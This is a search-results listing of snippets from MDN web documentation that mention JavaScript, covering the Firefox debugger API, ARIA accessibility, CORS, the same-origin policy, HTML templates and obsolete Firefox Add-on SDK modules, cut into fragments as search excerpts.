JavaScript file currently loaded. When the source pane is focused you can search for a string in the file using Ctrl + F (Cmd + F on a Mac). Breakpoints have a blue arrow overlaid on the line number. Conditional breakpoints have an orange arrow. If you're stopped at a breakpoint, the entire line gets a green overlay. In the screenshot below there are three breakpoints: line 82 has a normal breakpoint a...
...And 2 more matches
Debugger.Object - Firefox Developer Tools
erent routes (perhaps two functions are called on the same object), SpiderMonkey presents the same Debugger.Object instance to the debugger each time. This means that the debugger can use the == operator to recognize when two Debugger.Object instances refer to the same debuggee object, and place its own properties on a Debugger.Object instance to store metadata about particular debuggee objects.
JavaScript code in different compartments can have different views of the same object. For example, in Firefox, code in privileged compartments sees content DOM element objects without redefinitions or extensions made to that object's properties by content code. (In Firefox terminology, privileged code sees the element through an "xray wrapper".) To ensure that debugger code sees each object just as the deb...
...operties are equal. If a function has no name, SpiderMonkey attempts to infer an appropriate name for it given its context. For example: function f() {} // display name: f (the given name) var g = function () {}; // display name: g o.p = function () {}; // display name: o.p var q = { r: function () {} // display name: q.r }; Note that the display name may not be a proper
JavaScript identifier, or even a proper expression: we attempt to find helpful names even when the function is not immediately assigned as the value of some variable or property. Thus, we use a/b to refer to theb defined withina, and a< to refer to a function that occurs somewhere within an expression that is assigned toa. For example: function h() { var i = function() {}; // display name: h/i f(fu...
...alue the Promise has been fulfilled with. If the referent is not a Promise, or the Promise has not been fulfilled, throw a TypeError. promiseReason Return a debuggee value representing the value the Promise has been rejected with. If the referent is not a Promise, or the Promise has not been rejected, throw a TypeError. promiseAllocationSite If the referent is a Promise, this is the
JavaScript execution stack captured at the time of the promise's allocation. This can return null if the promise was not created from script. If the referent is not a Promise, throw a TypeError exception. promiseResolutionSite If the referent is a Promise, this is the
JavaScript execution stack captured at the time of the promise's resolution. This can return null if the promise was not resolved by callin...
...And 2 more matches
Using the CSS Typed Object Model - Web APIs
The CSS Typed OM makes CSS manipulation more logical and performant by providing object features (rather than CSSOM string manipulation), providing access to types, methods, and an object model for CSS values. This article provides an introduction to all of its main features. computedStyleMap() With the CSS Typed OM API, we can access all the CSS properties and values -- including custom properties -- that are impacting an element. ...
...erties and values -- including custom properties -- that are impacting an element. Let's see how this works by creating our first example, which explores computedStyleMap(). We start with some HTML: a paragraph with a link, as well as a definition list to which we will add all the CSS Property / Value pairs. <p> <a href="https://example.com">Link</a> </p> <dl id="regurgitation"></dl> We add
JavaScript to grab our unstyled link and return back a definition list of all the default CSS property values impacting the link using computedStyleMap(). // get the element const myElement = document.querySelector('a'); // get the <dl> we'll be populating const stylesList = document.querySelector('#regurgitation'); // Retrieve all computed styles with computedStyleMap() const defaultComputedStyles = myE...
...aining the size property, which indicates how many properties are in the map. We iterate through the style map, creating a <dt> and <dd> for each property and value respectively. In browsers that support computedStyleMap(), you'll see a list of all the CSS properties and values. In other browsers, you'll just see a link. Did you realize how many default CSS properties a link had? Update the
JavaScript on line 2 to select the <p> rather than the <a>. You'll notice a difference in the margin-top and margin-bottom default computed values. .get() method / custom properties Let's update our example to only retrieve a few properties and values. Let's start by adding some CSS to our example, including a custom property and an inhertable property: p { font-weight: bold; } a { --color: red; ...
...And 2 more matches
Using the Web Speech API - Web APIs
CSS for the app is really trivial. We simply have a title, instructions paragraph, and a div into which we output diagnostic messages. <h1>Speech color changer</h1> <p>Tap/click then say a color to change the background color of the app.</p> <div> <p class="output"><em>...diagnostic messages</em></p> </div> The CSS provides a very simple responsive styling so that it looks ok across devices.
JavaScript Let's look at the
JavaScript in a bit more detail. Chrome support As mentioned earlier, Chrome currently supports speech recognition with prefixed properties, therefore at the start of our code we include these lines to feed the right objects to Chrome, and any future implementations that might support the features without a prefix: var SpeechRecognition = SpeechRecognition || webkitSpeechRec...
... 'beige', 'bisque', 'black', 'blue', 'brown', 'chocolate', 'coral' ... ]; var grammar = '#JSGF V1.0; grammar colors; public <color> = ' + colors.join(' | ') + ' ;' The grammar format used is JSpeech Grammar Format (JSGF) -- you can find a lot more about it at the previous link to its spec. However, for now let's just run through it quickly: The lines are separated by semi-colons, just like in
JavaScript. The first line -- #JSGF V1.0; -- states the format and version used. This always needs to be included first. The second line indicates a type of term that we want to recognise. public declares that it is a public rule, the string in angle brackets defines the recognised name for this term (color), and the list of items that follow the equals sign are the alternative values that will be recogni...
...2.5+ supports it, by default, and without the need for any permissions. Chrome for Desktop and Android have supported it since around version 33, without prefixes. HTML and CSS The HTML and CSS are again pretty trivial, simply containing a title, some instructions for use, and a form with some simple controls. The <select> element is initially empty, but is populated with <option>s via
JavaScript (see later on.) <h1>Speech synthesiser</h1> <p>Enter some text in the input below and press return to hear it. change voices using the dropdown menu.</p> <form> <input type="text" class="txt"> <div> <label for="rate">Rate</label><input type="range" min="0.5" max="2" value="1" step="0.1" id="rate"> <div class="rate-value">1</div> <div class="clearfix"></div> </div> <div> ...
...And 2 more matches
ARIA live regions - Accessibility
While these changes are usually visually apparent to users who can see the page, they may not be obvious to users of assistive technologies. ARIA live regions fill this gap and provide a way to programmatically expose dynamic content changes in a way that can be announced by assistive technologies. Note: Assistive technologies will announce dynamic changes in the content of a live region. ...
...that can be announced by assistive technologies. Note: Assistive technologies will announce dynamic changes in the content of a live region. Including an aria-live attribute or a specialized live region role (such as role="alert") on the element you want to announce changes to works as long as you add the attribute before the changes occur -- either in the original markup, or dynamically using
JavaScript. Simple live regions Dynamic content which updates without a page reload is generally either a region or a widget. Simple content changes which are not interactive should be marked as live regions. Below is a list of each related ARIA live region property with a description. aria-live: The aria-live=POLITENESS_SETTING is used to set the priority with which screen reader should treat updates...
...It is named after the Roman deity Mercury, the messenger to the gods.' }, venus: { title: "Venus", description: 'Venus is the second planet from the Sun. It is named after the Roman goddess of love and beauty.' }, earth: { title: "Ear...
...And 2 more matches
ARIA: checkbox role - Accessibility
element and adding ARIA. Instead use the native HTML checkbox of <input type="checkbox">, which natively provides all the functionality required: <input type="checkbox" id="chk1-label"> <label for="chk1-label">Remember my preferences</label> Description The native HTML checkbox form control can only have two checked states ("checked" or "not checked"), with an indeterminate state settable via
JavaScript. Similarly, an element with role="checkbox" can expose three states through the aria-checked attribute: true, false, or mixed. Since a checkbox is an interactive control, it must be focusable and keyboard accessible. If the role is applied to a non-focusable element, use the tabindex attribute to change this. The expected keyboard shortcut for activating a checkbox is the Space key. The develo...
...e of three possible values: true The checkbox is checked false The checkbox is not checked mixed The checkbox is partially checked, or indeterminate tabindex="0" Used to make it focusable so the assistive technology user can tab to it and start reading right away. ...
... HTML <span role="checkbox" id="chkPref" aria-checked="false" onclick="changeCheckbox()" onKeyPress="changeCheckbox()" tabindex="0" aria-labelledby="chk1-label"></span> <label id="chk1-label" onclick="changeCheckbox()" onKeyPress="changeCheckbox()">Remember my preferences</label> CSS [role="checkbox"] { padding:5px; } [aria-chec...
...And 2 more matches
Alerts - Accessibility
teria which must be met in order to pass validation. In order to simplify this example, we'll check whether the e-mail address contains the "@" symbol, and if the name entry contains at least 1 character. If the above criteria is not met, the field's aria-invalid attribute will be given a value of "true". If the criteria was not met, the user will be notified via an alert. ...
...teria is not met, the field's aria-invalid attribute will be given a value of "true". If the criteria was not met, the user will be notified via an alert. Instead of using the
JavaScript 'alert' function, we'll use a simple WAI-ARIA widget for notification. This notifies the user of the error, but allows for them continue modifying the form without losing focus (caused by the "onblur" handler in
JavaScript's default 'alert' function). ...
...e given a value of "true". If the criteria was not met, the user will be notified via an alert. Instead of using the
JavaScript 'alert' function, we'll use a simple WAI-ARIA widget for notification. This notifies the user of the error, but allows for them continue modifying the form without losing focus (caused by the "onblur" handler in
JavaScript's default 'alert' function). ...
...And 2 more matches
An overview of accessible web applications and widgets - Accessibility
Since the HTML4 specification doesn't provide built-in tags that semantically describe these kinds of widgets, developers typically resort to using generic elements such as <div> and <span>. While this results in a widget that looks like its desktop counterpart, there usually isn't enough semantic information in the markup to be usable by an assistive technology. The problem Dynamic content on a web page can be particularly problematic for users who, for whatever reason, are unable to view the screen. ...
.../> <div id="tp1" class="tooltip" role="tooltip" aria-hidden="true">Your first name is optional</div> </div> The CSS for this markup is shown in Example 2b. Note that there is no custom classname used, only the status of the aria-hidden attribute on line 1. Example 2b. ...
...d, only the status of the aria-hidden attribute on line 1. Example 2b. Attribute-based selector for indicating state div.tooltip[aria-hidden="true"] { display: none; } The
JavaScript to update the aria-hidden property has the form shown in Example 2c. Note that the script only updates the aria-hidden attribute (line 2); it does not need to also add or remove a custom classname. Example 2c.
JavaScript to update the aria-checked attribute var showTip = function(el) { el.setAttribute('aria-hidden', 'false'); } Role changes ARIA allows developers to declare a semantic role for an element that otherwise offers incorrect or no semantics. The role of an element should not change. Instead, remove the original element and replace it with an element with the new role. For example, consider an "i...
...And 2 more matches
Audio and video manipulation - Developer guides
var processor = { timerCallback: function() { if (this.video.paused || this.video.ended) { return; } this.computeFrame(); var self = this; setTimeout(function () { self.timerCallback(); }, 16); // roughly 60 frames per second }, doLoad: function() { this.video = document.getElementById("my-video"); this.c1...
...esents double speed. Note that the playbackRate property works with both <audio> and <video>, but in both cases, it changes the playback speed but not the pitch. To manipulate the audio's pitch you need to use the Web Audio API. See the AudioBufferSourceNode.playbackRate property. ...
...uted waveform OscillatorNode An audio track from WebRTC (such as the microphone input you can get using getUserMedia(). MediaStreamAudioSourceNode Audio filters The Web Audio API has a lot of different filter/effects that can be applied to audio using the BiquadFilterNode, for example. ...
...And 2 more matches
DOM onevent handlers - Developer guides
d Detecting pressed keys Getting focus The onevent handler is usually named with the event it reacts to, like onclick, onkeypress, onfocus, etc. You can specify an on<...> event handler for a particular event (such as click) for a given object in different ways: Adding an HTML attribute named on<eventtype>: <button onclick="handleClick()">, Or by setting the corresponding property from
JavaScript: document.querySelector("button").onclick = function(event) { ... }. An onevent event handler property serves as a placeholder of sorts, to which a single event handler can be assigned. In order to allow multiple handlers to be installed for the same event on a given object, you can call its addEventListener() method, which manages a list of handlers for the given event on the object. A handl...
...hr = new XMLHttpRequest(); xhr.onprogress = function() { ... }; HTML onevent attributes HTML elements have attributes named onevent which can be used to register a handler for an event directly within the HTML code. ...
...register a handler for an event directly within the HTML code. When the element is built from the HTML, the value of its onevent attributes are copied to the DOM object that represents the element, so that accessing the attributes' values using
JavaScript will get the value set in the HTML. Further changes to the HTML attribute value can be done via the setAttribute method; Making changes to the
JavaScript property will have no effect. HTML Given this HTML document: <p>Demonstrating quirks of <code>on<em>event</em></code> HTML attributes on <a onclick="log('Click!')">these three words</a>. </p> <div></div>
JavaScript Then this
JavaScript demonstrates that the value of the HTML attribute is unaffected by changes to the
JavaScript object's property. let logElement = document.querySelector('...
...And 2 more matches
<input type="checkbox"> - HTML: Hypertext Markup Language
ibe=on. Note: If a checkbox is unchecked when its form is submitted, there is no value submitted to the server to represent its unchecked state (e.g. value=unchecked); the value is not submitted to the server at all. If you wanted to submit a default value for the checkbox when it is unchecked, you could include an <input type="hidden"> inside the form with the same name and value, generated by
JavaScript perhaps. Additional attributes In addition to the common attributes shared by all <input> elements, "checkbox" inputs support the following attributes: Attribute Description checked Boolean; if present, the checkbox is toggled on by default indeterminate A Boolean which, if present, indicates that the value of the checkbox is indeterminate rather than t...
...d accessibility, this is another good reason to properly set up <label> elements on your forms. Indeterminate state checkboxes In addition to the checked and unchecked states, there is a third state a checkbox can be in: indeterminate. This is a state in which it's impossible to say whether the item is toggled on or off. This is set using the HTMLInputElement object's indeterminate property via
JavaScript (it cannot be set using an HTML attribute): inputInstance.indeterminate = true; A checkbox in the indeterminate state has a horizontal line in the box (it looks somewhat like a hyphen or minus sign) instead of a check/tick in most browsers. There are not many use cases for this property. The most common is when a checkbox is available that "owns" a number of sub-options (which are also checkbo...
...'re all unchecked, the owning checkbox is unchecked. If any one or more of the sub-options have a different state than the others, the owning checkbox is in the indeterminate state. This can be seen in the below example (thanks to CSS Tricks for the inspiration). In this example we keep track of the ingredients we are collecting for a recipe. When you check or uncheck an ingredient's checkbox, a
JavaScript function checks the total number of checked ingredients: If none are checked, the recipe name's checkbox is set to unchecked. If one or two are checked, the recipe name's checkbox is set to indeterminate. If all three are checked, the recipe name's checkbox is set to checked. So in this case the indeterminate state is used to state that collecting the ingredients has started, but the recip...
...And 2 more matches
<template>: The Content Template element - HTML: Hypertext Markup Language
Think of a template as a content fragment that is being stored for subsequent use in the document. While the parser does process the contents of the <template> element while loading the page, it does so only to ensure that those contents are valid; the element's contents are not rendered, however. ...
...tion of the example. <table id="producttable"> <thead> <tr> <td>UPC_Code</td> <td>Product_Name</td> </tr> </thead> <tbody> <!-- existing data could optionally be included here --> </tbody> </table> <template id="productrow"> <tr> <td class="record"></td> <td></td> </tr> </template> First, we have a table into which we will later insert content using
JavaScript code. Then comes the template, which describes the structure of an HTML fragment representing a single table row. Now that the table has been created and the template defined, we use
JavaScript to insert rows into the table, with each row being constructed using the template as its basis. // Test to see if the browser supports the HTML template element by checking // for the presence of the tem...
...r clone2 = template.content.cloneNode(true); td = clone2.querySelectorAll("td"); td[0].textContent = "0384928528"; td[1].textContent = "Acme Kidney Beans 2"; tbody.appendChild(clone2); } else { // Find another way to add the rows to the table because // the HTML template element is not supported. ...
...And 2 more matches
MIME types (IANA media types) - HTTP
on't be recognized as CSS by most browsers and will be ignored. text/html All HTML content should be served with this type. Alternative MIME types for XHTML (like application/xhtml+xml) are mostly useless nowadays. Note: Use application/xml or application/xhtml+xml if you want XML's strict parsing rules, <![CDATA[...]]> sections, or elements that aren't from HTML/SVG/MathML namespaces. text/
javascript Per the HTML specification,
JavaScript files should always be served using the MIME type text/
javascript. No other values are considered valid, and using any of those may result in scripts that do not load or run. For historical reasons, the MIME Sniffing Standard (the definition of how browsers should interpret media types and figure out what to do with content that doesn't have a valid one) a...
...the HTML specification,
JavaScript files should always be served using the MIME type text/
javascript. No other values are considered valid, and using any of those may result in scripts that do not load or run. ...
...ther values are considered valid, and using any of those may result in scripts that do not load or run. ...
...And 2 more matches
Cross-Origin Resource Sharing (CORS) - HTTP
Resource Sharing (CORS) is a mechanism that uses additional HTTP headers to tell browsers to give a web application running at one origin, access to selected resources from a different origin. A web application executes a cross-origin HTTP request when it requests a resource that has a different origin (domain, protocol, or port) from its own. An example of a cross-origin request: the front-end
JavaScript code served from https://domain-a.com uses XMLHttpRequest to make a request for https://domain-b.com/data.json. For security reasons, browsers restrict cross-origin HTTP requests initiated from scripts. For example, XMLHttpRequest and the Fetch API follow the same-origin policy. This means that a web application using those APIs can only request resources from the same origin the application was...
... the request, soliciting supported methods from the server with the HTTP OPTIONS request method, and then, upon "approval" from the server, sending the actual request. Servers can also inform clients whether "credentials" (such as Cookies and HTTP Authentication) should be sent with requests. CORS failures result in errors, but for security reasons, specifics about the error are not available to
JavaScript. All the code knows is that an error occurred. The only way to determine what specifically went wrong is to look at the browser's console for details. Subsequent sections discuss scenarios, as well as provide a breakdown of the HTTP headers used. Examples of access control scenarios We present three scenarios that demonstrate how Cross-Origin Resource Sharing works. All these examples use XMLH...
...cept, Accept-Language, and Content-Language request headers for simple CORS Switch to a blacklist model for restricted Accept headers in simple CORS requests No other browsers implement these extra restrictions, because they're not part of the spec. For example, suppose web content at https://foo.example wishes to invoke content on domain https://bar.other. ...
...And 2 more matches
Progressive web app structure - Progressive web apps (PWAs)
be achieved with the Streams API. With a little help from service workers, streams can greatly improve the way we parse content. The app shell model requires all the resources to be available before the website can start rendering. It's different with HTML, as the browser is actually streaming the data already and you can see when the elements are loaded and rendered on the website. To have the
JavaScript "operational", however, it has to be downloaded in its entirety. The Streams API allows developers to have direct access to data streaming from the server -- if you want to perform an operation on the data (for example, adding a filter to a video), you no longer need to wait for all of it to be downloaded and converted to a blob (or whatever) -- you can start right away. It provides fine-grained...
...The <body> is split into the <header> (containing linked image), <main> page (with title, description and place for a content), and <footer> (copy and links). The app's only job is to list all the A-Frame entries from the js13kGames 2017 competition. As you can see it is a very ordinary, one page website -- the point is to have something simple so we can focus on the ...
...e point is to have something simple so we can focus on the implementation of the actual PWA features. The CSS The CSS is also as plain as possible: it uses @font-face to load and use a custom font, and it applies some simple styling of the HTML elements. The overall approach is to have the design look good on both mobile (with a responsive web design approach) and desktop devices. The main app
JavaScript The app.js file does a few things we will look into closely in the next articles. First of all it generates the content based on this template: var template = "<article>\n\ <img src='data/img/SLUG.jpg' alt='NAME'>\n\ <h3>#POS. NAME</h3>\n\ <ul>\n\ <li><span>Author:</span> <strong>AUTHOR</strong></li>\n\ <li><span>Twitter:</span> <a href='https://twitter.com/TWITTER'>@TWITTER...
...And 2 more matches
Mobile first - Progressive web apps (PWAs)
templates contain a number of built-in features. In this sample app, I have used a couple of the built-in features to: Include an install button that works for Firefox OS, Firefox Aurora, Chrome and iOS app installs (as explained on the Install GitHub page). To make the install button work, all you have to do is put a <button> on the page with an ID of install-btn. Magic! Selectively include
JavaScript libraries according to media query and feature tests (require.js is built in, which is helpful and very easy to use.) HTML structure For this example app, the HTML structure is going to be very simple: I am just including a heading, navigation menu and filler text to highlight the fact that articles can get very long on narrow screen devices. Our HTML looks like this: <article> <nav> <u...
...ry means that narrow screen devices won't read that media query, so they will not waste their time and bandwidth downloading that image. Note: Firefox's Responsive Design View is a great way to get a quick idea of how your media queries are behaving themselves. Try it out with Tools > Web Developer > Responsive Design View. Feature detection Feature detection involves doing tests (usually in
JavaScript) to determine whether a browser supports a certain feature, and then serving CSS or
JavaScript to suit that situation. This can be very useful for mobile first, as you may well want to hide bits of code from the "mobile version" and only include them for the "desktop version", or vice versa. You can write your own feature detects (Mark Pilgrim's All-In-One Almost-Alphabetical Guide to Detecting ...
...), it is also fairly reliable, and you can create your own custom version with only the feature detects you need in it, using the Modernizr Download Builder. The full uncompressed Modernizr library is 42KB, but the version we are using in this demo is only 8KB. I put Modernizr inside my js/lib directory, then included it by putting the following construct inside my HTML file: <script type="text/
javascript" src="js/lib/modernizr.js"></script> With Modernizr in place, we can now use the following JS block to test whether media queries are supported, and if not, to load in respond.js, Scott Jehl's matchMedia and media query polyfill. if(!Modernizr.mq('only all')) { require('respond'); } EDITORIAL NOTE: This currently doesn't work, and I'm not sure why. Ongoing work required. matchMedia is als...
...And 2 more matches
Same-origin policy - Web security
For example, about:blank is often used as a URL of new, empty popup windows into which the parent script writes content (e.g. via the Window.open() mechanism). If this popup also contains
JavaScript, that script would inherit the same origin as the script tha...
... origins Scripts executed from pages with an about:blank or
javascript: URL inherit the origin of the document containing that URL, since these types of URLs do not contain information about an origin server. For example, about:blank is often used as a URL of new, empty popup windows into which the parent script writes content (e.g. via the Window.open() mechanism). If this popup also contains
JavaScript, that script would inherit the same origin as the script that created it. data: URLs get a new, empty, security context. Exceptions in Internet Explorer Internet Explorer has two major exceptions to the same-origin policy: Trust Zones If both domains are in the highly trusted zone (e.g. corporate intranet domains), then the same-origin limitations are not applied. Port IE doesn't incl...
...e preflight. Cross-origin embedding is typically allowed. (Examples are listed below.) Cross-origin reads are typically disallowed, but read access is often leaked by embedding. For example, you can read the dimensions of an embedded image, the actions of an embedded script, or the availability of an embedded resource. Here are some examples of resources which may be embedded cross-origin:
JavaScript with <script src="..."></script>. Error details for syntax errors are only available for same-origin scripts. CSS applied with <link rel="stylesheet" href="...">. Due to the relaxed syntax rules of CSS, cross-origin CSS requires a correct Content-Type header. Restrictions vary by browser: Internet Explorer, Firefox, Chrome, Safari (scroll down to CVE-2010-0051) and Opera. Images displayed by <i...
...And 2 more matches
Using templates and slots - Web Components
ve to reuse the same markup structures repeatedly on a web page, it makes sense to use some kind of a template rather than repeating the same structure over and over again. This was possible before, but it is made a lot easier by the HTML <template> element (which is well-supported in modern browsers). This element and its contents are not rendered in the DOM, but it can still be referenced using
JavaScript. ...
...ible before, but it is made a lot easier by the HTML <template> element (which is well-supported in modern browsers). This element and its contents are not rendered in the DOM, but it can still be referenced using
JavaScript. Let's look at a trivial quick example: <template id="my-paragraph"> <p>My paragraph</p> </template> This won't appear in your page until you grab a reference to it with
JavaScript and then append it to the DOM, using something like the following: let template = document.getElementById('my-paragraph'); let templateContent = template.content; document.body.appendChild(templateContent); Although trivial, you can already start to see how this could be useful. Using templates with web components Templates are useful on their own, but they work even better with web component...
...ild nodes that do not have the slot attribute. This includes text nodes. And that's it for our trivial example. If you want to play with it some more, you can find it on GitHub (see it running live also). A more involved example To finish off the article, let's look at something a little less trivial. ...
...And 2 more matches
dev/panel - Archive of obsolete content
refox 34. Note that at the moment you can't debug remote targets (for example, Firefox OS, the Firefox OS Simulator, or Firefox for Android) using tools developed with this API. We're working on removing this restriction. Enables you to extend the Firefox Developer Tools. Most of the Firefox Developer Tools are hosted in a UI component called the Toolbox. Individual built-in tools, such as the
JavaScript Debugger or the Web Console, occupy "panels" in the toolbox. With the dev/panel module, you can create your own panels in the Toolbox: The panel gets a tab in the Toolbox toolbar which enables the user to open it: You specify the panel's content and behavior using HTML, CSS, and
JavaScript. When the panel's created, the framework passes it a debuggee: this is a MessagePort object tha...
...However, it can receive m...
...Clients connect to the server and send it messages to examine and modify the state of the program being debugged. The Remote Debugging Protocol page describes the protocol in detail. When the user opens a panel and the panel is created, the framework calls the panel's setup method. The setup ...
...w.addEventListener("message", function(event) { var debuggee = event.ports[0]; console.log(debuggee); debuggee.onmessage = function(event) { content.textContent = JSON.stringify(event.data); } debuggee.postMessage({ "to":"root", "type":"listTabs" }); }); If you do this, don't forget to call start() on the port before passing it over to the panel document. Volcan.js: a
JavaScript API for the debugging protocol Communicating with the debugger server by exchanging JSON messages can be cumbersome. So we've also provided a library called volcan.js which gives you a
JavaScript API to the remote debugging protocol. Note that at the moment volcan.js does not support the complete remote debugging protocol. We're still working on documenting exactly which messages are supported...
loader/sandbox - Archive of obsolete content
Usage Create a sandbox To create a sandbox: const { sandbox, evaluate, load } = require("sdk/loader/sandbox"); let scope = sandbox('http://example.com'); The argument passed to the sandbox defines its privileges. The argument may be: a URL string, in which case the sandbox will get the same privileges as a script loaded from that URL a DOM window object, to inherit privileges from the window being passed. omitted or null: then the sandbox will have chrome privileges giving it access to all the XPCOM components. Optionally the sandbox function can be passed a second argument (See sandbox documentation on MDN for details). ...
...ate function that lets you execute code in the given sandbox: evaluate(scope, 'var a = 5;'); evaluate(scope, 'a + 2;'); //=> 7 More details about evaluated script may be passed via optional arguments that may improve exception reporting: // Evaluate code as if it was loaded from 'http://foo.com/bar.js' and // start from 2nd line. evaluate(scope, 'a ++', 'http://foo.com/bar.js', 2); Version of
JavaScript can be also specified via an optional argument: evaluate(scope, 'let b = 2;', 'bar.js', 1, '1.5'); // throws cause `let` is not defined in JS 1.5. Load scripts This module provides a limited API for loading scripts from local URLs. data: URLs are supported. load(scope, 'resource://path/to/my/script.js'); load(scope, 'file:///path/to/script.js'); load(scope, 'data:,var a = 5;'); Globals Func...
...: string|window|null An object that determines the privileges that will be given to the sandbox. This argument can be: a URI string, giving the sandbox the same privileges as a script loaded from that URL a DOM window object, giving the sandbox the same privileges as the DOM window null, to give the sandbox chrome privileges. Returns sandbox : A sandbox in which you can evaluate and load
JavaScript. evaluate(sandbox, code, uri, line, version) Evaluate code in sandbox, and return the result. Parameters sandbox : sandbox The sandbox to use. code : string The code to execute. uri : string Evaluate the code as if it were being loaded from the given URI. Optional. line : number Evaluate the code starting at this line. Optional, defaults to 1. version : string Evaluate the code using...
...ox, code, uri, line, version) Evaluate code in sandbox, and return the result. Parameters sandbox : sandbox The sandbox to use. code : string The code to execute. uri : string Evaluate the code as if it were being loaded from the given URI. Optional. line : number Evaluate the code starting at this line. Optional, defaults to 1. version : string Evaluate the code using this version of
JavaScript. Defaults to 1.8. Returns result : Returns whatever the evaluated code returns. load(sandbox, uri) Evaluate code from uri in sandbox. Parameters sandbox : sandbox The sandbox to use. uri : string The URL pointing to the script to load. It must be a local chrome:, resource:, file: or data: URL. Returns result : Returns whatever the evaluated code returns. ...
platform/xpcom - Archive of obsolete content
o is use XPCOM objects that someone else has implemented, then you don't need to use this module. You can just use require("chrome") to get direct access to the Components object, and access XPCOM objects from there. Implementing XPCOM Interfaces This module exports a class called Unknown which implements the fundamental XPCOM interface nsISupports. By subclassing Unknown, either using standard
JavaScript inheritance or using the SDK's heritage module, you can provide your own implementations of XPCOM interfaces. "Unknown" is named after the "IUnknown" interface in COM. For example, the add-on below implements the nsIObserver interface to listen for and log all topic notifications: var { Class } = require('sdk/core/heritage'); var { Unknown } = require('sdk/platform/xpcom'); var { Cc, Ci } = re...
... components you have defined. For example, this add-on defines a subclass of Unknown called HelloWorld that implements a function called hello. By creating a Factory and passing it the contract ID for the HelloWorld component and the HelloWorld constructor, we enable XPCOM clients to access the HelloWorld component, given its contract ID. In this example the HelloWorld component is available to
JavaScript only, so we use the technique documented under the "Using wrappedJSObject" section of How to Build an XPCOM Component in
JavaScript. var { Class } = require('sdk/core/heritage'); var { Unknown, Factory } = require('sdk/platform/xpcom'); var { Cc, Ci } = require('chrome'); var contractId = '@me.org/helloworld'; // Define a component var HelloWorld = Class({ extends: Unknown, get wrappedJSOb...
...urn the old factory, while: xpcom.factoryByContract("@me.org/myComponent") will return the new one. Parameters contract : string Contract ID of the factory or service to retrieve. Returns object : The factory or service identified by the contract ID. Unknown This is the base class for all XPCOM objects. It is not intended to be used directly but you can subclass it, either using standard
JavaScript inheritance or using the SDK's heritage module, to create new implementations of XPCOM interfaces. For example, this subclass implements the nsIRequest interface: var { Class } = require('sdk/core/heritage'); var { Unknown } = require('sdk/platform/xpcom'); var Request = Class({ extends: Unknown, interfaces: [ 'nsIRequest' ], initialize: function initialize() { this.pending = false; ...
...e methods of this interface will be callable on the returned object. If the object implements an interface that's already defined in XPCOM, you can pass that in here: var about = aboutFactory.createInstance(null, Ci.nsIAboutModule); // You can now access the nsIAboutModule interface of the 'about' object If you will be getting the wrappedJSObject property from the returned object to access its
JavaScript implementation, pass Ci.nsISupports here: var custom = factory.createInstance(null, Ci.nsISupports).wrappedJSObject; // You can now access the interface defined for the 'custom' object Returns object : The component created by the factory. lockFactory() This method is required by the nsIFactory interface, but as in most implementations it does nothing interesting. QueryInterface() See the ...
ui/frame - Archive of obsolete content
Experimental Create HTML iframes, using bundled HTML, CSS and
JavaScript, that can be added to a designated area of the Firefox user interface. At the moment you can only add frames to a toolbar. Usage This module exports the Frame constructor, which can be used to create frame components. Right now it can be used in conjunction with a Toolbar: you create a Frame, then supply it to the Toolbar's constructor, and the content is then displayed inside the toolbar. Constructing frames The Frame constructor takes one mandatory option, which is a url pointing to an HTML document supplied under your add-ons "data" directory. ...
...supply it to the Toolbar's constructor, and the content is then displayed inside the toolbar. Constructing frames The Frame constructor takes one mandatory option, which is a url pointing to an HTML document supplied under your add-ons "data" directory. ...
... of <span> elements, and includes a CSS file to style the content and a
JavaScript script to implement behavior: <!DOCTYPE html> <html> <head> <link href="city-info.css" rel="stylesheet"></link> </head> <body> <select name="city" id="city-selector"></select> <span id="time" class="info-element"></span> <span id="weather" class="info-element"></span> <script type="text/
javascript" src="city-info.js"></script> </body> </html> If we save this document as "city-info.html" under the add-on's "data" directory, we can create a frame hosting it and add the frame to a toolbar like this: var { Frame } = require("sdk/ui/frame"); var { Toolbar } = require("sdk/ui/toolbar"); var frame = new Frame({ url: "./city-info.html" }); var toolbar = Toolbar({ name: "city-info", ti...
...ioned between the address bar and the content window. It occupies the whole width of the browser window and is 18 pixels high on a normal-resolution display or 36 pixels high on a high-resolution (HiDPI) display. This toolbar might look something like: Scripting frames To add scripts to frames, include them directly from the frame's HTML content, as with a normal web page: <script type="text/
javascript" src="frame.js"></script> As usual, the path to the script is relative to the HTML file's location. Messages logged from a frame script using the console will not appear in the terminal when you run the add-on using jpm run. However, they will appear in the Browser Console. This issue is being tracked as bug 982385. Communicating with frames You can exchange messages between the main add-on...
ui/sidebar - Archive of obsolete content
Usage Creating, showing, and hiding sidebars You construct a Sidebar object using the Sidebar() constructor. Once you've done that, you can show the sidebar by calling the Sidebar's show() method. ...
...idebar").Sidebar({ id: 'my-sidebar', title: 'My sidebar', url: require("sdk/self").data.url("sidebar.html") }); From Firefox 34, you can use "./sidebar.html" as an alias for self.data.url("sidebar.html"). So you can rewrite the above code like this: var sidebar = require("sdk/ui/sidebar").Sidebar({ id: 'my-sidebar', title: 'My sidebar', url: "./sidebar.html" }); You can include
JavaScript and CSS from the HTML as you would with any web page, for example using <script> and <link> tags containing a path relative to the HTML file itself. <!DOCTYPE HTML> <html> <head> <link href="stuff.css" type="text/css" rel="stylesheet"> </head> <body> <script type="text/
javascript" src="stuff.js"></script> </body> </html> You can update the sidebar's content by setting the sideb...
...r script right away: however, you can start listening to messages from the script. Here's a simple but complete add-on that shows how to set up communication between main.js and a script in a sidebar, in the case where the sidebar script initiates communication: The HTML file includes just a script, "sidebar.js": <!DOCTYPE HTML> <html> <body> Content for my sidebar <script type="text/
javascript" src="sidebar.js"></script> </body> </html> The "sidebar.js" file sends a ping message to main.js using port.emit() as soon as it loads, and adds a listener to the pong message. addon.port.emit("ping"); addon.port.on("pong", function() { console.log("sidebar script got the reply"); }); The "main.js" file creates a sidebar object and adds a listener to its attach event. On attach, "main.j...
... will not be lost. Listen to this event if your add-on initiates the conversation. Here's a simple but complete add-on that shows how to set up communication between main.js and a script in a sidebar, in the case where the main.js script initiates communication: The HTML file includes just a script, "sidebar.js": <!DOCTYPE HTML> <html> <body> Content for my sidebar <script type="text/
javascript" src="sidebar.js"></script> </body> </html> The "sidebar.js" file listens to the ping message from main.js, and responds with a pong message. addon.port.on("ping", function() { console.log("sidebar script got the message"); addon.port.emit("pong"); }); The "main.js" file creates a sidebar object and adds a listener to its attach event. On attach, "main.js" sends the ping message, and st...
Localization - Archive of obsolete content
